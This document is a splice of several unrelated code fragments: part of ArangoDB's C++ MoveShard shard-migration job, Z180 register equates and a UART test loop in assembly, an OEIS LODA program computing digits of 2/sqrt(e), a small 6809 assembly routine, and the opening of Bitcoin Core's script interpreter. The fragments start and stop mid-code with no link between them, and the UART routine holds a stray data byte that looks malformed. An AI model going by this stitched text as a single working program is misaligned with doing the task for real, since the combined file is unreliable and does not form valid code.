pending.add(VPackValue(_to)); } } }); addIncreasePlanVersion(pending); } // mutation part of transaction done // Preconditions { VPackObjectBuilder precondition(&pending); // --- Check that Planned servers are still as we expect addPreconditionUnchanged(pending, planPath, planned); addPreconditionShardNotBlocked(pending, _shard); addPreconditionServerNotBlocked(pending, _to); addPreconditionServerHealth(pending, _to, "GOOD"); addPreconditionUnchanged(pending, failedServersPrefix, failedServers); addPreconditionUnchanged(pending, cleanedPrefix, cleanedServers); } // precondition done } // array for transaction done // Transact to agency write_ret_t res = singleWriteTransaction(_agent, pending); if (res.accepted && res.indices.size() == 1 && res.indices[0]) { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "Pending: Move shard " + _shard + " from " + _from + " to " + _to; return true; } LOG_TOPIC(INFO, Logger::SUPERVISION) << "Start precondition failed for MoveShard job " + _jobId; return false; } JOB_STATUS MoveShard::status() { if (_status != PENDING) { return _status; } // check that shard still there, otherwise finish job std::string planPath = planColPrefix + _database + "/" + _collection; if (!_snapshot.has(planPath)) { // Oops, collection is gone, simple finish job: finish("", _shard, true, "collection was dropped"); return FINISHED; } if (_isLeader) { return pendingLeader(); } else { return pendingFollower(); } } JOB_STATUS MoveShard::pendingLeader() { auto considerTimeout = [&]() -> bool { // Not yet all in sync, consider timeout: std::string timeCreatedString = _snapshot.hasAsString(pendingPrefix + _jobId + "/timeCreated").first; Supervision::TimePoint timeCreated = stringToTimepoint(timeCreatedString); Supervision::TimePoint now(std::chrono::system_clock::now()); if (now - timeCreated > std::chrono::duration<double>(10000.0)) { abort(); return true; } return false; }; // Find the other shards in the same distributeShardsLike group: std::vector<Job::shard_t> shardsLikeMe = clones(_snapshot, _database, _collection, _shard); // Consider next step, depending on who is currently the leader // in the Plan: std::string planPath = planColPrefix + _database + "/" + _collection + "/shards/" + _shard; Slice plan = _snapshot.hasAsSlice(planPath).first; Builder trx; Builder pre; // precondition bool finishedAfterTransaction = false; if (plan[0].copyString() == _from) { // Still the old leader, let's check that the toServer is insync: size_t done = 0; // count the number of shards for which _to is in sync: doForAllShards(_snapshot, _database, shardsLikeMe, [this, &done](Slice plan, Slice current, std::string& planPath) { for (auto const& s : VPackArrayIterator(current)) { if (s.copyString() == _to) { ++done; return; } } }); // Consider timeout: if (done < shardsLikeMe.size()) { if (considerTimeout()) { return FAILED; } return PENDING; // do not act } // We need to ask the old leader to retire: { VPackArrayBuilder trxArray(&trx); { VPackObjectBuilder trxObject(&trx); VPackObjectBuilder preObject(&pre); doForAllShards(_snapshot, _database, shardsLikeMe, [this, &trx, &pre](Slice plan, Slice current, std::string& planPath) { // Replace _from by "_" + _from trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); for (auto const& srv : VPackArrayIterator(plan)) { if (srv.copyString() == _from) { trx.add(VPackValue("_" + srv.copyString())); } else { trx.add(srv); } } } // Precondition: Plan still as it was pre.add(VPackValue(planPath)); { VPackObjectBuilder guard(&pre); pre.add(VPackValue("old")); pre.add(plan); } }); addPreconditionCollectionStillThere(pre, _database, _collection); addIncreasePlanVersion(trx); } // Add precondition to transaction: trx.add(pre.slice()); } } else if (plan[0].copyString() == "_" + _from) { // Retired old leader, let's check that the fromServer has retired: size_t done = 0; // count the number of shards for which leader has retired doForAllShards(_snapshot, _database, shardsLikeMe, [this, &done](Slice plan, Slice current, std::string& planPath) { if (current.length() > 0 && current[0].copyString() == "_" + _from) { ++done; } }); // Consider timeout: if (done < shardsLikeMe.size()) { if (considerTimeout()) { return FAILED; } return PENDING; // do not act! } // We need to switch leaders: { VPackArrayBuilder trxArray(&trx); { VPackObjectBuilder trxObject(&trx); VPackObjectBuilder preObject(&pre); doForAllShards(_snapshot, _database, shardsLikeMe, [this, &trx, &pre](Slice plan, Slice current, std::string& planPath) { // Replace "_" + _from by _to and leave _from out: trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); for (auto const& srv : VPackArrayIterator(plan)) { if (srv.copyString() == "_" + _from) { trx.add(VPackValue(_to)); } else if (srv.copyString() != _to) { trx.add(srv); } } // add the old leader as follower in case of a // rollback trx.add(VPackValue(_from)); } // Precondition: Plan still as it was pre.add(VPackValue(planPath)); { VPackObjectBuilder guard(&pre); pre.add(VPackValue("old")); pre.add(plan); } }); addPreconditionCollectionStillThere(pre, _database, _collection); addIncreasePlanVersion(trx); } // Add precondition to transaction: trx.add(pre.slice()); } } else if (plan[0].copyString() == _to) { // New leader in Plan, let's check that it has assumed leadership and // all but except the old leader are in sync: size_t done = 0; doForAllShards(_snapshot, _database, shardsLikeMe, [this, &done](Slice plan, Slice current, std::string& planPath) { if (current.length() > 0 && current[0].copyString() == _to) { if (plan.length() < 3) { // This only happens for replicationFactor == 1, in // which case there are exactly 2 servers in the Plan // at this stage. But then we do not have to wait for // any follower to get in sync. ++done; } else { // New leader has assumed leadership, now check all but // the old leader: size_t found = 0; for (size_t i = 1; i < plan.length() - 1; ++i) { VPackSlice p = plan[i]; for (auto const& c : VPackArrayIterator(current)) { if (arangodb::basics::VelocyPackHelper::compare(p, c, true)) { ++found; break; } } } if (found >= plan.length() - 2) { ++done; } } } }); // Consider timeout: if (done < shardsLikeMe.size()) { if (considerTimeout()) { return FAILED; } return PENDING; // do not act! } // We need to end the job, Plan remains unchanged: { VPackArrayBuilder trxArray(&trx); { VPackObjectBuilder trxObject(&trx); VPackObjectBuilder preObject(&pre); doForAllShards(_snapshot, _database, shardsLikeMe, [&trx, &pre, this](Slice plan, Slice current, std::string& planPath) { if (!_remainsFollower) { // Remove _from from the list of follower trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); for (auto const& srv : VPackArrayIterator(plan)) { if (!srv.isEqualString(_from)) { trx.add(srv); } } } } // Precondition: Plan still as it was pre.add(VPackValue(planPath)); { VPackObjectBuilder guard(&pre); pre.add(VPackValue("old")); pre.add(plan); } }); if (!_remainsFollower) { addIncreasePlanVersion(trx); } addPreconditionCollectionStillThere(pre, _database, _collection); addRemoveJobFromSomewhere(trx, "Pending", _jobId); Builder job; _snapshot.hasAsBuilder(pendingPrefix + _jobId, job); addPutJobIntoSomewhere(trx, "Finished", job.slice(), ""); addReleaseShard(trx, _shard); addReleaseServer(trx, _to); } // Add precondition to transaction: trx.add(pre.slice()); } finishedAfterTransaction = true; } else { // something seriously wrong here, fail job: finish("", _shard, false, "something seriously wrong"); return FAILED; } // Transact to agency: write_ret_t res = singleWriteTransaction(_agent, trx); if (res.accepted && res.indices.size() == 1 && res.indices[0]) { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "Pending: Move shard " + _shard + " from " + _from + " to " + _to; return (finishedAfterTransaction ? FINISHED : PENDING); } LOG_TOPIC(INFO, Logger::SUPERVISION) << "Precondition failed for MoveShard job " + _jobId; return PENDING; } JOB_STATUS MoveShard::pendingFollower() { // Find the other shards in the same distributeShardsLike group: std::vector<Job::shard_t> shardsLikeMe = clones(_snapshot, _database, _collection, _shard); size_t done = 0; // count the number of shards done doForAllShards(_snapshot, _database, shardsLikeMe, [&done](Slice plan, Slice current, std::string& planPath) { if (ClusterHelpers::compareServerLists(plan, current)) { ++done; } }); if (done < shardsLikeMe.size()) { // Not yet all in sync, consider timeout: std::string timeCreatedString = _snapshot.hasAsString(pendingPrefix + _jobId + "/timeCreated").first; Supervision::TimePoint timeCreated = stringToTimepoint(timeCreatedString); Supervision::TimePoint now(std::chrono::system_clock::now()); if (now - timeCreated > std::chrono::duration<double>(10000.0)) { abort(); return FAILED; } return PENDING; } // All in sync, so move on and remove the fromServer, for all shards, // and in a single transaction: done = 0; // count the number of shards done Builder trx; // to build the transaction Builder precondition; { VPackArrayBuilder arrayForTransactionPair(&trx); { VPackObjectBuilder transactionObj(&trx); VPackObjectBuilder preconditionObj(&precondition); // All changes to Plan for all shards, with precondition: doForAllShards(_snapshot, _database, shardsLikeMe, [this, &trx, &precondition](Slice plan, Slice current, std::string& planPath) { // Remove fromServer from Plan: trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); for (auto const& srv : VPackArrayIterator(plan)) { if (srv.copyString() != _from) { trx.add(srv); } } } // Precondition: Plan still as it was precondition.add(VPackValue(planPath)); { VPackObjectBuilder guard(&precondition); precondition.add(VPackValue("old")); precondition.add(plan); } }); addRemoveJobFromSomewhere(trx, "Pending", _jobId); Builder job; _snapshot.hasAsBuilder(pendingPrefix + _jobId, job); addPutJobIntoSomewhere(trx, "Finished", job.slice(), ""); addPreconditionCollectionStillThere(precondition, _database, _collection); addReleaseShard(trx, _shard); addReleaseServer(trx, _to); addIncreasePlanVersion(trx); } // Add precondition to transaction: trx.add(precondition.slice()); } write_ret_t res = singleWriteTransaction(_agent, trx); if (res.accepted && res.indices.size() == 1 && res.indices[0]) { return FINISHED; } return PENDING; } arangodb::Result MoveShard::abort() { arangodb::Result result; // We can assume that the job is either in ToDo or in Pending. if (_status == NOTFOUND || _status == FINISHED || _status == FAILED) { result = Result(TRI_ERROR_SUPERVISION_GENERAL_FAILURE, "Failed aborting moveShard beyond pending stage"); return result; } // Can now only be TODO or PENDING if (_status == TODO) { finish("", "", true, "job aborted"); return result; } // Find the other shards in the same distributeShardsLike group: std::vector<Job::shard_t> shardsLikeMe = clones(_snapshot, _database, _collection, _shard); Builder trx; // to build the transaction // Now look after a PENDING job: { VPackArrayBuilder arrayForTransactionPair(&trx); { VPackObjectBuilder transactionObj(&trx); if (_isLeader) { // All changes to Plan for all shards: doForAllShards(_snapshot, _database, shardsLikeMe, [this, &trx](Slice plan, Slice current, std::string& planPath) { // Restore leader to be _from: trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); trx.add(VPackValue(_from)); VPackArrayIterator iter(plan); ++iter; // skip the first while (iter.valid()) { trx.add(iter.value()); ++iter; } } }); } else { // All changes to Plan for all shards: doForAllShards(_snapshot, _database, shardsLikeMe, [this, &trx](Slice plan, Slice current, std::string& planPath) { // Remove toServer from Plan: trx.add(VPackValue(planPath)); { VPackArrayBuilder guard(&trx); for (auto const& srv : VPackArrayIterator(plan)) { if (srv.copyString() != _to) { trx.add(srv); } } } }); } addRemoveJobFromSomewhere(trx, "Pending", _jobId); Builder job; _snapshot.hasAsBuilder(pendingPrefix + _jobId, job); addPutJobIntoSomewhere(trx, "Failed", job.slice(), "job aborted"); addReleaseShard(trx, _shard); addReleaseServer(trx, _to); addIncreasePlanVersion(trx); } } write_ret_t res = singleWriteTransaction(_agent, trx); if (!res.accepted) { result = Result(TRI_ERROR_SUPERVISION_GENERAL_FAILURE, std::string("Lost leadership")); return result; } else if (res.indices[0] == 0) { result = Result( TRI_ERROR_SUPERVISION_GENERAL_FAILURE, std::string("Precondition failed while aborting moveShard job ") + _jobId); return result; } return result; }
false equ 0 true equ 1 ;========== Z180 Internal Interrupt Vectors ======== ; The following vectors are offsets from the value ; loaded in IL, the Interrupt Vector Low register. VINT1 equ 0 ;External INT-1 pin VINT2 equ 2 ;External INT-2 pin VPRT0 equ 4 ;Timer 0 VPRT1 equ 6 ;Timer 1 VDMA0 equ 8 ;DMA Ch-0 VDMA1 equ 0ah ;DMA Ch-1 VCSIO equ 0ch ;Clocked serial I/O VASC0 equ 0eh ;Asynch. comms. Ch-0 VASC1 equ 10h ;Asynch. comms. Ch-1 ;========== Z180 System Control Registers ========== ;NB These registers may be relocated to multiples of ; 40H, by setting the IO Control Register (ICR = 3FH) ; The addresses below are valid with ICR=0 (else they ; are offsets from the ICR base value). ;ASCI Registers cntla0 equ 00h ;ASCI Control Reg A Ch0 cntla1 equ 01h ;ASCI Control Reg A Ch1 cntlb0 equ 02h ;ASCI Control Reg B Ch0 cntlb1 equ 03h ;ASCI Control Reg B Ch1 stat0 equ 04h ;ASCI Status Reg Ch0 stat1 equ 05h ;ASCI Status Reg Ch1 tdr0 equ 06h ;ASCI TX Data Reg Ch0 tdr1 equ 07h ;ASCI TX Data Reg Ch1 rdr0 equ 08h ;ASCI RX Data Reg Ch0 rdr1 equ 09h ;ASCI RX Data Reg Ch1 brk0 equ 12h ;Break Control Reg Ch0 brk1 equ 13h ;Break Control reg Ch1 ;CSI/O Registers cntr equ 0ah ;CSI/O Control Reg trdr equ 0bh ;CSI/O TX/RX Data Reg ccr equ 1fh ;CPU control reg. intype equ 0dfh ;Interrupt edge/pin mux reg. wsgcs equ 0d8h ;Wait-State Generator CS enh182 equ 0d9h ;Z80182 Enhancements Reg pinmux equ 0dfh ;Interrupt Edge/Pin Mux Reg ramubr equ 0e6h ;RAM End Boundary ramlbr equ 0e7h ;RAM Start Boundary rombr equ 0e8h ;ROM Boundary romend equ 0e8h ramstart equ 0e7h ramend equ 0e6h fifoctl equ 0e9h ;FIFO Control Reg rtotc equ 0eah ;RX Time-Out Time Const ttotc equ 0ebh ;TX Time-Out Time Const fcr equ 0ech ;FIFO Register scr equ 0efh ;System Pin Control rbr equ 0f0h ;MIMIC RX Buffer Reg thr equ 0f0h ;MIMIC TX Holding Reg ier equ 0f1h ;Interrupt Enable Reg lcr equ 0f3h ;Line Control Reg mcr equ 0f4h ;Modem Control Reg lsr equ 0f5h ;Line Status Reg msr equ 0f6h ;Modem Status Reg mscr equ 0f7h ;MIMIC Scratch Reg dlatl equ 0f8h ;Divisor latch LS dlatm equ 0f9h ;Divisor latch MS ttcr equ 0fah ;TX Time Constant rtcr equ 0fbh ;RX Time Constant ivec equ 0fch ;MIMIC Interrupt Vector mimie equ 0fdh ;MIMIC Interrupt Enable Reg iusip equ 0feh ;MIMIC Interrupt Under-Service Reg mmcr equ 0ffh ;MIMIC Master Control Reg ;DMA Registers sar0l equ 20h ;DMA Source Addr Reg Ch0-Low sar0h equ 21h ;DMA Source Addr Reg Ch0-High sar0b equ 22h ;DMA Source Addr Reg Ch0-B dar0l equ 23h ;DMA Destn Addr Reg Ch0-Low dar0h equ 24h ;DMA Destn Addr Reg Ch0-High dar0b equ 25h ;DMA Destn Addr Reg Ch0-B bcr0l equ 26h ;DMA Byte Count Reg Ch0-Low bcr0h equ 27h ;DMA Byte Count Reg Ch0-High mar1l equ 28h ;DMA Memory Addr Reg Ch1-Low mar1h equ 29h ;DMA Memory Addr Reg Ch1-High mar1b equ 2ah ;DMA Memory Addr Reg Ch1-B iar1l equ 2bh ;DMA I/O Addr Reg Ch1-Low iar1h equ 2ch ;DMA I/O Addr Reg Ch1-High bcr1l equ 2eh ;DMA Byte Count Reg Ch1-Low bcr1h equ 2fh ;DMA Byte Count Reg Ch1-High dstat equ 30h ;DMA Status Reg dmode equ 31h ;DMA Mode Reg dcntl equ 32h ;DMA/WAIT Control Reg ;System Control Registers il equ 33h ;INT Vector Low Reg itc equ 34h ;INT/TRAP Control Reg rcr equ 36h ;Refresh Control Reg cbr equ 38h ;MMU Common Base Reg bbr equ 39h ;MMU Bank Base Reg cbar equ 3ah ;MMU Common/Bank Area Reg omcr equ 3eh ;Operation Mode Control Reg icr equ 3fh ;I/O Control Reg ;--- Character Device Section --- ; The following two devices result in non-standard data rates ; with the standard 16.00 MHz crystal in the P112. If a more ; "standard" crystal is used (12.288, 18.432, 24.576 MHz etc) ; is used, the ports become usable. ; Driver code for ASCI0 and ASCI1 includes an option for ; assembling Polled or Interrupt-driven buffered input. ; Select the desired option for ASCI0 with the BUFFA0 flag, ; and BUFFA1 for ASCI1. ASCI_0 EQU false ; Include ASCI0 Driver? BUFFA0 EQU false ; Use buffered ASCI0 Input Driver? ASCI_1 EQU false ; Include ASCI1 Driver? BUFFA1 EQU false ; Use buffered ASCI1 Input Driver? QSIZE EQU 32 ; size of interrupt typeahead buffers (if used) ; ..must be 2^n with n<8 RTSCTS EQU false ; Include RTS/CTS code on Serial Outputs? XONOFF EQU false ; Include Xon/Xoff handshaking in Serial lines? ;****************************************************************** ;INIT_UART ;Function: Initialize the UART to BAUD Rate 9600 (1.8432 MHz clock input) ;DLAB A2 A1 A0 Register ;0 0 0 0 Receiver Buffer (read), ; Transmitter Holding ; Register (write) ;0 0 0 1 Interrupt Enable ;X 0 1 0 Interrupt Identification (read) ;X 0 1 0 FIFO Control (write) ;X 0 1 1 Line Control ;X 1 0 0 MODEM Control ;X 1 0 1 Line Status ;X 1 1 0 MODEM Status ;X 1 1 1 Scratch ;1 0 0 0 Divisor Latch ; (least significant byte) ;1 0 0 1 Divisor Latch ; (most significant byte) ;****************************************************************** ;*********************************** ;* UART Test Program * ;* * ;*********************************** .ORG 00000H INIT_UART: LD A,80H ; Mask to Set DLAB Flag db 0edh OUT (03H),A LD A,12 ; Divisor = 12 @ 9600bps w/ 1.8432 Mhz OUT (00H),A ; Set BAUD rate to 9600 LD A,00 OUT (01H),A ; Set BAUD rate to 9600 LD A,03H OUT (03H),A ; Set 8-bit data, 1 stop bit, reset DLAB Flag ;****************************************************************** ;Main Program ;Function: Display A->Z then a new line and loop ;****************************************************************** MAIN_LOOP: IN A,(05H) ; Get the line status register's contents BIT 5,A ; Test BIT, it will be set if the UART is ready JP Z,MAIN_LOOP LD A,41H ; Load acumulator with "A" Character OUT (00H),A ; Send "A" Character through the UART JP MAIN_LOOP .END
; A249455: Decimal expansion of 2/sqrt(e), a constant appearing in the expression of the asymptotic expected volume V(d) of the convex hull of randomly selected n(d) vertices (with replacement) of a d-dimensional unit cube. ; Submitted by Jon Maiga ; 1,2,1,3,0,6,1,3,1,9,4,2,5,2,6,6,8,4,7,2,0,7,5,9,9,0,6,9,9,8,2,3,6,0,9,0,6,8,8,3,8,3,6,2,7,0,9,7,4,3,7,3,9,1,1,3,6,5,7,8,4,3,1,7,4,7,0,1,1,3,0,3,8,8,2,7,4,9,6,8,4,7,9,9,7,2,9,5,2,2,3,0,1,5,9,7,8,9,1,2 mov $1,1 mov $2,1 mov $3,$0 mul $3,12 lpb $3 mul $1,$3 mul $2,$3 add $1,$2 mov $6,$5 cmp $6,0 add $5,$6 div $1,$5 mov $6,$3 cmp $6,0 add $3,$6 div $2,$3 div $2,$5 add $2,$1 mul $1,2 sub $1,$2 sub $3,1 add $5,1 lpe mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
GetImgIdA _GetCartPageA sta GetImgId_Rts+1 ; backup cart page ldx #Img_Page_Index ; call page that store imageset for this object ldb id,u abx lda ,x _SetCartPageA ldx image_set,u lda -1,x GetImgId_Rts ldb #$00 ; (dynamic) _SetCartPageB ; restore data page rts
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <script/interpreter.h> #include <crypto/ripemd160.h> #include <crypto/sha1.h> #include <crypto/sha256.h> #include <pubkey.h> #include <script/script.h> #include <uint256.h> typedef std::vector<unsigned char> valtype; namespace { inline bool set_success(ScriptError* ret) { if (ret) *ret = SCRIPT_ERR_OK; return true; } inline bool set_error(ScriptError* ret, const ScriptError serror) { if (ret) *ret = serror; return false; } } // namespace bool CastToBool(const valtype& vch) { for (unsigned int i = 0; i < vch.size(); i++) { if (vch[i] != 0) { // Can be negative zero if (i == vch.size()-1 && vch[i] == 0x80) return false; return true; } } return false; } /** * Script is a stack machine (like Forth) that evaluates a predicate * returning a bool indicating valid or not. There are no loops. */ #define stacktop(i) (stack.at(stack.size()+(i))) #define altstacktop(i) (altstack.at(altstack.size()+(i))) static inline void popstack(std::vector<valtype>& stack) { if (stack.empty()) throw std::runtime_error("popstack(): stack empty"); stack.pop_back(); } bool static IsCompressedOrUncompressedPubKey(const valtype &vchPubKey) { if (vchPubKey.size() < 33) { // Non-canonical public key: too short return false; } if (vchPubKey[0] == 0x04) { if (vchPubKey.size() != 65) { // Non-canonical public key: invalid length for uncompressed key return false; } } else if (vchPubKey[0] == 0x02 || vchPubKey[0] == 0x03) { if (vchPubKey.size() != 33) { // Non-canonical public key: invalid length for compressed key return false; } } else { // Non-canonical public key: neither compressed nor uncompressed return false; } return true; } bool static IsCompressedPubKey(const valtype &vchPubKey) { if (vchPubKey.size() != 33) { // Non-canonical public key: invalid length for compressed key return false; } if (vchPubKey[0] != 0x02 && vchPubKey[0] != 0x03) { // Non-canonical public key: invalid prefix for compressed key return false; } return true; } /** * A canonical signature exists of: <30> <total len> <02> <len R> <R> <02> <len S> <S> <hashtype> * Where R and S are not negative (their first byte has its highest bit not set), and not * excessively padded (do not start with a 0 byte, unless an otherwise negative number follows, * in which case a single 0 byte is necessary and even required). * * See https://bitcointalk.org/index.php?topic=8392.msg127623#msg127623 * * This function is consensus-critical since BIP66. */ bool static IsValidSignatureEncoding(const std::vector<unsigned char> &sig) { // Format: 0x30 [total-length] 0x02 [R-length] [R] 0x02 [S-length] [S] [sighash] // * total-length: 1-byte length descriptor of everything that follows, // excluding the sighash byte. // * R-length: 1-byte length descriptor of the R value that follows. // * R: arbitrary-length big-endian encoded R value. It must use the shortest // possible encoding for a positive integer (which means no null bytes at // the start, except a single one when the next byte has its highest bit set). // * S-length: 1-byte length descriptor of the S value that follows. // * S: arbitrary-length big-endian encoded S value. The same rules apply. // * sighash: 1-byte value indicating what data is hashed (not part of the DER // signature) // Minimum and maximum size constraints. if (sig.size() < 9) return false; if (sig.size() > 73) return false; // A signature is of type 0x30 (compound). if (sig[0] != 0x30) return false; // Make sure the length covers the entire signature. if (sig[1] != sig.size() - 3) return false; // Extract the length of the R element. unsigned int lenR = sig[3]; // Make sure the length of the S element is still inside the signature. if (5 + lenR >= sig.size()) return false; // Extract the length of the S element. unsigned int lenS = sig[5 + lenR]; // Verify that the length of the signature matches the sum of the length // of the elements. if ((size_t)(lenR + lenS + 7) != sig.size()) return false; // Check whether the R element is an integer. if (sig[2] != 0x02) return false; // Zero-length integers are not allowed for R. if (lenR == 0) return false; // Negative numbers are not allowed for R. if (sig[4] & 0x80) return false; // Null bytes at the start of R are not allowed, unless R would // otherwise be interpreted as a negative number. if (lenR > 1 && (sig[4] == 0x00) && !(sig[5] & 0x80)) return false; // Check whether the S element is an integer. if (sig[lenR + 4] != 0x02) return false; // Zero-length integers are not allowed for S. if (lenS == 0) return false; // Negative numbers are not allowed for S. if (sig[lenR + 6] & 0x80) return false; // Null bytes at the start of S are not allowed, unless S would otherwise be // interpreted as a negative number. if (lenS > 1 && (sig[lenR + 6] == 0x00) && !(sig[lenR + 7] & 0x80)) return false; return true; } bool static IsLowDERSignature(const valtype &vchSig, ScriptError* serror) { if (!IsValidSignatureEncoding(vchSig)) { return set_error(serror, SCRIPT_ERR_SIG_DER); } // https://bitcoin.stackexchange.com/a/12556: // Also note that inside transaction signatures, an extra hashtype byte // follows the actual signature data. std::vector<unsigned char> vchSigCopy(vchSig.begin(), vchSig.begin() + vchSig.size() - 1); // If the S value is above the order of the curve divided by two, its // complement modulo the order could have been used instead, which is // one byte shorter when encoded correctly. if (!CPubKey::CheckLowS(vchSigCopy)) { return set_error(serror, SCRIPT_ERR_SIG_HIGH_S); } return true; } bool static IsDefinedHashtypeSignature(const valtype &vchSig) { if (vchSig.size() == 0) { return false; } unsigned char nHashType = vchSig[vchSig.size() - 1] & (~(SIGHASH_ANYONECANPAY)); if (nHashType < SIGHASH_ALL || nHashType > SIGHASH_SINGLE) return false; return true; } bool CheckSignatureEncoding(const std::vector<unsigned char> &vchSig, unsigned int flags, ScriptError* serror) { // Empty signature. Not strictly DER encoded, but allowed to provide a // compact way to provide an invalid signature for use with CHECK(MULTI)SIG if (vchSig.size() == 0) { return true; } if ((flags & (SCRIPT_VERIFY_DERSIG | SCRIPT_VERIFY_LOW_S | SCRIPT_VERIFY_STRICTENC)) != 0 && !IsValidSignatureEncoding(vchSig)) { return set_error(serror, SCRIPT_ERR_SIG_DER); } else if ((flags & SCRIPT_VERIFY_LOW_S) != 0 && !IsLowDERSignature(vchSig, serror)) { // serror is set return false; } else if ((flags & SCRIPT_VERIFY_STRICTENC) != 0 && !IsDefinedHashtypeSignature(vchSig)) { return set_error(serror, SCRIPT_ERR_SIG_HASHTYPE); } return true; } bool static CheckPubKeyEncoding(const valtype &vchPubKey, unsigned int flags, const SigVersion &sigversion, ScriptError* serror) { if ((flags & SCRIPT_VERIFY_STRICTENC) != 0 && !IsCompressedOrUncompressedPubKey(vchPubKey)) { return set_error(serror, SCRIPT_ERR_PUBKEYTYPE); } // Only compressed keys are accepted in segwit if ((flags & SCRIPT_VERIFY_WITNESS_PUBKEYTYPE) != 0 && sigversion == SIGVERSION_WITNESS_V0 && !IsCompressedPubKey(vchPubKey)) { return set_error(serror, SCRIPT_ERR_WITNESS_PUBKEYTYPE); } return true; } bool static CheckMinimalPush(const valtype& data, opcodetype opcode) { // Excludes OP_1NEGATE, OP_1-16 since they are by definition minimal assert(0 <= opcode && opcode <= OP_PUSHDATA4); if (data.size() == 0) { // Should have used OP_0. return opcode == OP_0; } else if (data.size() == 1 && data[0] >= 1 && data[0] <= 16) { // Should have used OP_1 .. OP_16. return false; } else if (data.size() == 1 && data[0] == 0x81) { // Should have used OP_1NEGATE. return false; } else if (data.size() <= 75) { // Must have used a direct push (opcode indicating number of bytes pushed + those bytes). return opcode == data.size(); } else if (data.size() <= 255) { // Must have used OP_PUSHDATA. return opcode == OP_PUSHDATA1; } else if (data.size() <= 65535) { // Must have used OP_PUSHDATA2. return opcode == OP_PUSHDATA2; } return true; } bool EvalScript(std::vector<std::vector<unsigned char> >& stack, const CScript& script, unsigned int flags, const BaseSignatureChecker& checker, SigVersion sigversion, ScriptError* serror) { static const CScriptNum bnZero(0); static const CScriptNum bnOne(1); // static const CScriptNum bnFalse(0); // static const CScriptNum bnTrue(1); static const valtype vchFalse(0); // static const valtype vchZero(0); static const valtype vchTrue(1, 1); CScript::const_iterator pc = script.begin(); CScript::const_iterator pend = script.end(); CScript::const_iterator pbegincodehash = script.begin(); opcodetype opcode; valtype vchPushValue; std::vector<bool> vfExec; std::vector<valtype> altstack; set_error(serror, SCRIPT_ERR_UNKNOWN_ERROR); if (script.size() > MAX_SCRIPT_SIZE) return set_error(serror, SCRIPT_ERR_SCRIPT_SIZE); int nOpCount = 0; bool fRequireMinimal = (flags & SCRIPT_VERIFY_MINIMALDATA) != 0; try { while (pc < pend) { bool fExec = !count(vfExec.begin(), vfExec.end(), false); // // Read instruction // if (!script.GetOp(pc, opcode, vchPushValue)) return set_error(serror, SCRIPT_ERR_BAD_OPCODE); if (vchPushValue.size() > MAX_SCRIPT_ELEMENT_SIZE) return set_error(serror, SCRIPT_ERR_PUSH_SIZE); // Note how OP_RESERVED does not count towards the opcode limit. if (opcode > OP_16 && ++nOpCount > MAX_OPS_PER_SCRIPT) return set_error(serror, SCRIPT_ERR_OP_COUNT); if (opcode == OP_CAT || opcode == OP_SUBSTR || opcode == OP_LEFT || opcode == OP_RIGHT || opcode == OP_INVERT || opcode == OP_AND || opcode == OP_OR || opcode == OP_XOR || opcode == OP_2MUL || opcode == OP_2DIV || opcode == OP_MUL || opcode == OP_DIV || opcode == OP_MOD || opcode == OP_LSHIFT || opcode == OP_RSHIFT) return set_error(serror, SCRIPT_ERR_DISABLED_OPCODE); // Disabled opcodes. if (fExec && 0 <= opcode && opcode <= OP_PUSHDATA4) { if (fRequireMinimal && !CheckMinimalPush(vchPushValue, opcode)) { return set_error(serror, SCRIPT_ERR_MINIMALDATA); } stack.push_back(vchPushValue); } else if (fExec || (OP_IF <= opcode && opcode <= OP_ENDIF)) switch (opcode) { // // Push value // case OP_1NEGATE: case OP_1: case OP_2: case OP_3: case OP_4: case OP_5: case OP_6: case OP_7: case OP_8: case OP_9: case OP_10: case OP_11: case OP_12: case OP_13: case OP_14: case OP_15: case OP_16: { // ( -- value) CScriptNum bn((int)opcode - (int)(OP_1 - 1)); stack.push_back(bn.getvch()); // The result of these opcodes should always be the minimal way to push the data // they push, so no need for a CheckMinimalPush here. } break; // // Control // case OP_NOP: break; case OP_CHECKLOCKTIMEVERIFY: { if (!(flags & SCRIPT_VERIFY_CHECKLOCKTIMEVERIFY)) { // not enabled; treat as a NOP2 break; } if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); // Note that elsewhere numeric opcodes are limited to // operands in the range -2**31+1 to 2**31-1, however it is // legal for opcodes to produce results exceeding that // range. This limitation is implemented by CScriptNum's // default 4-byte limit. // // If we kept to that limit we'd have a year 2038 problem, // even though the nLockTime field in transactions // themselves is uint32 which only becomes meaningless // after the year 2106. // // Thus as a special case we tell CScriptNum to accept up // to 5-byte bignums, which are good until 2**39-1, well // beyond the 2**32-1 limit of the nLockTime field itself. const CScriptNum nLockTime(stacktop(-1), fRequireMinimal, 5); // In the rare event that the argument may be < 0 due to // some arithmetic being done first, you can always use // 0 MAX CHECKLOCKTIMEVERIFY. if (nLockTime < 0) return set_error(serror, SCRIPT_ERR_NEGATIVE_LOCKTIME); // Actually compare the specified lock time with the transaction. if (!checker.CheckLockTime(nLockTime)) return set_error(serror, SCRIPT_ERR_UNSATISFIED_LOCKTIME); break; } case OP_CHECKSEQUENCEVERIFY: { if (!(flags & SCRIPT_VERIFY_CHECKSEQUENCEVERIFY)) { // not enabled; treat as a NOP3 break; } if (stack.size() < 1) return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); // nSequence, like nLockTime, is a 32-bit unsigned integer // field. See the comment in CHECKLOCKTIMEVERIFY regarding // 5-byte numeric operands. const CScriptNum nSequence(stacktop(-1), fRequireMinimal, 5); // In the rare event that the argument may be < 0 due to // some arithmetic being done first, you can always use // 0 MAX CHECKSEQUENCEVERIFY. if (nSequence < 0) return set_error(serror, SCRIPT_ERR_NEGATIVE_LOCKTIME); // To provide for future soft-fork extensibility, if the // operand has the disabled lock-time flag set, // CHECKSEQUENCEVERIFY behaves as a NOP. if ((nSequence & CTxIn::SEQUENCE_LOCKTIME_DISABLE_FLAG) != 0) break; // Compare the specified 